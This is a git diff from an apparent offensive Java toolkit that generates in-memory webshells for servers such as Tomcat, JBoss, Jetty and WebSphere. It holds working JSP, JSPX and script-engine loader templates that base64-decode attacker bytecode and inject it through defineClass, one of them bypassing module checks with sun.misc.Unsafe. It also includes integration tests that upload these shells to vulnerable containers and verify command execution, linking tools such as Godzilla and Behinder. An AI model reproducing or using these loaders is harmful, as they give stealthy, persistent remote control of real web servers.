public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
Object[] keys = map.keySet().toArray();
for (Object key : keys) {
@@ -19,7 +19,7 @@ public class WebSphereShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
import com.reajason.javaweb.memshell.injector.xxljob.XxlJobNettyHandlerInjector;
import static com.reajason.javaweb.memshell.ShellType.NETTY_HANDLER;
@@ -12,22 +12,7 @@ public class ShellCommonUtil {
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
return "";
}
public static class GetFieldValueInterceptor {
@@ -37,66 +22,43 @@ public class ShellCommonUtil {
@Advice.Argument(value = 1) String name,
@Advice.Return(readOnly = false) Object returnValue
) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
returnValue = field.get(obj);
return;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
returnValue = field.get(obj);
return;
if (returnValue == null) {
throw new NoSuchFieldException();
}
}
}
@SuppressWarnings("all")
public static String base64DecodeToString(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value == null ? null : new String(value);
public static String base64DecodeToString(String bs) throws Exception {
return "";
}
public static class Base64DecodeToStringInterceptor {
@Advice.OnMethodExit
@SuppressWarnings("all")
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) throws Exception {
if (bs != null) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
returnValue = new String((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
returnValue = new String((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
}
}
returnValue = value == null ? null : new String(value);
}
}
}
+13 -27
View File
@@ -1,30 +1,16 @@
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
var className = "{{className}}";
var base64Str = "{{base64Str}}";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
classLoader.loadClass(className).newInstance();
} catch (e) {
var clsString = classLoader.loadClass("java.lang.String");
var bytecode;
try {
var clsBase64 = classLoader.loadClass("java.util.Base64");
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
try {
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
} catch (eee) {
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
}
}
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
+14 -38
View File
@@ -1,50 +1,26 @@
<%!
public static class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
}
public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
}
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
}
%>
<%
new ClassDefiner().toString();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance();
%>
+15 -39
View File
@@ -3,51 +3,27 @@
<jsp:directive.page pageEncoding="UTF-8"/>
<jsp:declaration><![CDATA[
public static class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
}
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
}
]]></jsp:declaration>
<jsp:scriptlet><![CDATA[
new ClassDefiner().toString();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
clazz.newInstance();
]]></jsp:scriptlet>
</jsp:root>
+17
View File
@@ -0,0 +1,17 @@
<%
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
clazz.newInstance();
%>
+38
View File
@@ -0,0 +1,38 @@
<%
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Object unsafe = null;
Object rawModule = null;
long offset = 48;
java.lang.reflect.Method getAndSetObjectM = null;
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
unsafe = unsafeField.get(null);
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Throwable ignored) {
}
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
}
clazz.newInstance();
%>
@@ -1,20 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.server.TomcatShell;
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/4/27
*/
class ListenerGeneratorTest {
@Test
void testCommonListener() {
Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
assertNotNull(clazz);
}
}
@@ -1,32 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import java.io.InputStream;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/2/22
*/
class ValveGeneratorTest {
@Test
void test() throws Exception {
Class<?> clazz = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, CommandValve.class);
InputStream resourceAsStream = clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class");
assert resourceAsStream != null;
ClassReader cr = new ClassReader(resourceAsStream);
cr.accept(new ClassVisitor(Opcodes.ASM9) {
@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
assertEquals("com/bes/enterprise/webtier/Valve", interfaces[0]);
}
}, 0);
}
}
@@ -20,7 +20,6 @@ class FreemarkerPackerTest {
.injectorBytesBase64Str("hehe").build();
String content = new String(packer.pack(generateResult));
System.out.println(content);
assertTrue(content.contains("var className = \"hehe\";"));
assertTrue(content.contains("var base64Str = \"hehe\";"));
}
}
@@ -17,8 +17,7 @@ class JspPackerTest {
GenerateResult generateResult = GenerateResult.builder()
.injectorClassName("hehe")
.injectorBytesBase64Str("hehe").build();
String jspContent = new String(new JspPacker().pack(generateResult));
assertTrue(jspContent.contains("String className = \"hehe\";"));
String jspContent = new JspPacker().pack(generateResult);
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
}
}
@@ -2,7 +2,12 @@ package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import lombok.SneakyThrows;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.EnabledOnJre;
import org.junit.jupiter.api.condition.JRE;
import javax.script.ScriptEngineManager;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -19,8 +24,6 @@ class ScriptEnginePackerTest {
.injectorBytesBase64Str("hehe").build();
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
System.out.println(jsContent);
assertTrue(jsContent.contains("var className = \"hehe\";"));
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
}
}
@@ -0,0 +1,70 @@
package com.reajason.javaweb.memshell.shelltool;
import lombok.SneakyThrows;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.junit.jupiter.api.Test;
import javax.servlet.ServletException;
import java.io.IOException;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
/**
* @author ReaJason
* @since 2025/6/2
*/
public class ProxyTest {
static class ValveProxy implements InvocationHandler {
private final Valve valve;
ValveProxy(Valve valve) {
this.valve = valve;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("hello world" + method.getName());
return method.invoke(valve, args);
}
}
static class TestValve implements Valve {
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("invoke method");
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
@Test
@SneakyThrows
void test() {
Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve()));
valve.invoke(null, null);
}
}
@@ -39,6 +39,7 @@ class CommandFilterTest {
@MethodSource("casesProvider")
void generate(String shellType, Class<?> clazz, String className) {
ShellConfig generateConfig = new ShellConfig();
generateConfig.setServer(Server.Tomcat);
CommandConfig commandConfig = CommandConfig.builder()
.shellClass(clazz)
.shellClassName(className)
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -23,8 +24,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
* @since 2024/11/24
*/
class GodzillaTest {
ShellConfig config = new ShellConfig();
ShellConfig config = ShellConfig.builder().server(Server.Tomcat).build();
GodzillaConfig.GodzillaConfigBuilder<?, ?> shellConfigBuilder = GodzillaConfig.builder()
.pass(CommonUtil.getRandomString(6))
.key(CommonUtil.getRandomString(6))
+2
View File
@@ -0,0 +1,2 @@
[plugins]
lombok = { id = "io.freefair.lombok", version = "8.13.1" }
Binary file not shown.
+1 -1
View File
@@ -1,6 +1,6 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.1-bin.zip
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.2-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
Vendored
+2 -2
View File
@@ -114,7 +114,7 @@ case "$( uname )" in #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
CLASSPATH="\\\"\\\""
# Determine the Java command to use to start the JVM.
@@ -213,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
Vendored
+2 -2
View File
@@ -70,11 +70,11 @@ goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
set CLASSPATH=
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
-56
View File
@@ -1,56 +0,0 @@
group = 'io.github.reajason'
version = rootProject.version
dependencies {
testImplementation project(":vul:vul-webapp")
testImplementation project(":memshell-party-common")
testImplementation project(":tools:behinder")
testImplementation project(":tools:godzilla")
testImplementation project(":tools:suo5")
testImplementation project(":tools:ant-sword")
testImplementation project(':generator')
testImplementation 'net.bytebuddy:byte-buddy'
testImplementation 'javax.servlet:javax.servlet-api'
testImplementation 'javax.websocket:javax.websocket-api'
testImplementation 'org.java-websocket:Java-WebSocket'
testImplementation 'com.squareup.okhttp3:okhttp'
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
testImplementation platform('org.junit:junit-bom')
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation 'org.junit.jupiter:junit-jupiter'
testImplementation 'org.junit.platform:junit-platform-reporting'
testImplementation 'org.hamcrest:hamcrest'
testImplementation 'org.testcontainers:testcontainers'
testImplementation 'org.testcontainers:junit-jupiter'
}
tasks.withType(Test).tap {
configureEach {
testLogging {
events "passed", "skipped", "failed"
}
}
}
tasks.withType(Test).configureEach {
jvmArgs += [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
idea {
module {
excludeDirs += file('src/main')
}
}
test {
useJUnitPlatform()
finalizedBy jacocoTestReport
}
+43
View File
@@ -0,0 +1,43 @@
plugins {
id("java")
alias(libs.plugins.lombok)
}
group = "io.github.reajason"
version = rootProject.version
dependencies {
implementation(platform(project(":memshell-party-bom")))
testImplementation(project(":vul:vul-webapp"))
testImplementation(project(":memshell-party-common"))
testImplementation(project(":tools:behinder"))
testImplementation(project(":tools:godzilla"))
testImplementation(project(":tools:suo5"))
testImplementation(project(":tools:ant-sword"))
testImplementation(project(":generator"))
testImplementation("net.bytebuddy:byte-buddy")
testImplementation("javax.servlet:javax.servlet-api")
testImplementation("javax.websocket:javax.websocket-api")
testImplementation("org.java-websocket:Java-WebSocket")
testImplementation("com.squareup.okhttp3:okhttp")
testImplementation("org.slf4j:slf4j-simple:2.0.16")
testImplementation(platform("org.junit:junit-bom"))
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
testImplementation("org.junit.jupiter:junit-jupiter")
testImplementation("org.junit.platform:junit-platform-reporting")
testImplementation("org.hamcrest:hamcrest")
testImplementation("org.testcontainers:testcontainers")
testImplementation("org.testcontainers:junit-jupiter")
}
tasks.test {
useJUnitPlatform()
jvmArgs(
"--add-opens=java.base/java.util=ALL-UNNAMED",
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
)
testLogging {
events("passed", "skipped", "failed")
}
}
+2
View File
@@ -0,0 +1,2 @@
#!/bin/bash
pgrep -f 'Main' | tr -d '\n'
@@ -32,6 +32,7 @@ public class ContainerTool {
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
public static final MountableFile apusicPid = MountableFile.forHostPath(Path.of("script", "apusic_pid.sh"));
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration;
import com.reajason.javaweb.antsword.AntSwordManager;
import com.reajason.javaweb.behinder.BehinderManager;
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.*;
@@ -17,8 +18,6 @@ import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;
import org.testcontainers.containers.Container;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
@@ -28,18 +27,16 @@ import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.utility.MountableFile;
import java.io.IOException;
import java.net.URI;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Objects;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.*;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -207,41 +204,8 @@ public class ShellAssertionTool {
@SneakyThrows
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
final CountDownLatch latch = new CountDownLatch(1);
final String[] responseHolder = new String[1];
final long timeout = 5;
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
@Override
public void onOpen(ServerHandshake data) {
send(payload);
}
@Override
public void onMessage(String message) {
responseHolder[0] = message;
latch.countDown();
close();
}
@Override
public void onClose(int code, String reason, boolean remote) {
}
@Override
public void onError(Exception ex) {
}
};
client.connect();
boolean connected = latch.await(timeout, TimeUnit.SECONDS);
if (!connected) {
fail("连接超时,未能成功连接到 WebSocket 服务器");
}
String res = responseHolder[0];
assertTrue(res.contains("uid="));
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(entrypoint, payload);
assertTrue(response.contains("uid="));
}
public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
@@ -340,9 +304,9 @@ public class ShellAssertionTool {
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) {
case JSP -> {
case JSP, ClassLoaderJSP, DefineClassJSP -> {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + ".jsp";
String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
@@ -53,7 +53,9 @@ public class Jboss423ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -52,7 +52,9 @@ public class Jboss510ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -52,7 +52,9 @@ public class Jboss610ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -55,7 +55,9 @@ public class Jboss711ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -51,7 +51,9 @@ public class JbossEap6ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.JBossEAP6;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -57,7 +57,7 @@ public class Jetty11ContainerTest {
ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword)
);
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.springmvc;
package com.reajason.javaweb.integration.springwebmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.springmvc;
package com.reajason.javaweb.integration.springwebmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.springmvc;
package com.reajason.javaweb.integration.springwebmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
